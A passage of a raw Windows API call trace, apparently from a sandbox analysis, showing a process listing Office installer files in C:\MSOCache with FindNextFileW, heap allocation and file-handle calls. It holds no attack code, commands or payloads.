lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0045.166] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe0c2860, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x17e0dbf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1a41c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0045.166] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0045.166] GetLastError () returned 0x12 [0045.166] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4c88) returned 1 [0045.166] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0045.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4b80) returned 1 [0045.167] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.167] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0045.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.167] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x17af0f4 | out: lpFileInformation=0x17af0f4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.216] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0045.216] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af138, lpLastWriteTime=0x17af138) returned 0 [0045.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedfe90 [0045.216] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedfe90, nOutBufferSize=0x4000, lpBytesReturned=0x17af190, lpOverlapped=0x0 | out: lpOutBuffer=0xedfe90, lpBytesReturned=0x17af190, lpOverlapped=0x0) returned 0 [0045.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedfe90) returned 1 [0045.216] NtClose (Handle=0x16c) returned 0x0 [0045.216] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0045.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4a78 [0045.217] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4b80 [0045.217] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459b78 [0045.237] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.239] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="")) returned 1 [0045.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed4c88 [0045.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0045.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbbe8 [0045.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeddfb0 [0045.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.354] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="")) returned 1 [0045.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.356] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbc08 [0045.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede0b8 [0045.362] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.364] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0045.364] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.365] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.371] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.373] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0045.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.376] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.378] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.379] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.380] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0045.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.384] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.385] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbc28 [0045.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede1c0 [0045.390] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.390] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0045.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.393] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.394] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.394] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.396] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0045.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.397] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.399] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbc48 [0045.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede2c8 [0045.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.406] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.msi", cAlternateFileName="")) returned 1 [0045.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbc68 [0045.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede3d0 [0045.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.418] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.xml", cAlternateFileName="")) returned 1 [0045.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.420] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.421] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.421] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.422] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbc88 [0045.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede4d8 [0045.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.429] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0045.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0045.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedbca8 [0045.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xede5e0 [0045.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xed7330 [0045.437] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed5c70) returned 1 [0045.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0045.438] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0045.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, 